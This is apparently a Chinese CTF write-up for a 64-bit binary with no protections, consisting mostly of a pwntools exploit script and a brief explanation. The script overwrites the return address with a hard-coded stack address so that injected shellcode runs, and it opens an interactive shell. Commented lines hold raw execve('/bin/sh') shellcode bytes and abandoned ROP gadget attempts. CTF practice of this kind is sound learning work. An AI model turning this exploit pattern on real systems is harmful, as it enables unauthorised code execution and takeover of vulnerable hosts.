1_无安全机制_64

64位ubuntu编译 -m32 报错:https://www.cnblogs.com/mliudong/p/4086797.html

和上一个32为的是同一个题,解题思路一样

#!/usr/bin/env pwthon
#coding=utf-8
from pwn import*
context.log_level= "debug"
context.terminal = ['gnome-terminal', '-x', 'sh', '-c'] #适用于自己装其他终端的情况
context(arch='x86_64',os='linux')  #指定系统

local = 1
if local:
    p = process("./pwn")
    elf = ELF("./pwn")
    libc = ELF("./libc.so.6")
else:
    p = remote("")

offset = 64 + 8
#-------------shellcode------------------------
#第一用的是32为的,自己忘了, 后面可以直接利用脚本去写shellcode,
#shellcode = "\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05" 
shellcode = asm(shellcraft.sh())  #可以直接获取shellcode 也可以自己网上找
print ("[---->:]") + hex(len(shellcode))
print ("[---->shellcode]= ")+(shellcode)
#pop_rdi_offset = 0x00000000004006e3
#jmp_rsp_offset = 0x0000000000002a71
#libc_base = 0x00007ffff7a0d000
#jmp_rsp_addr = libc_base +jmp_rsp_offset 
#pop_rdi_addr = libc_base + pop_rdi_offset 
#payload = "A" * offset
#payload += p64(pop_rdi_addr)
#payload += p64(jmp_rsp_addr)
buf_ret_addr = 0x7fffffffd810
payload = shellcode
payload += "A" * (offset-len(shellcode))
payload += p64(buf_ret_addr)
#gdb.attach(p)
p.sendline(payload)
p.interactive()

注释的地方,将自己的错误都没删除,将自己解题的思路留下,好让自己参考。

解题思路:
将我们的shellcode传入栈里面,然后跳转到buf输入的地方就执行了shellcode。
buf的地址怎么获取?= 用agb.attach(p),动态调试找到stack 100查看出自己shellcode输入的地方即可

你可能感兴趣的:(1_无安全机制_64)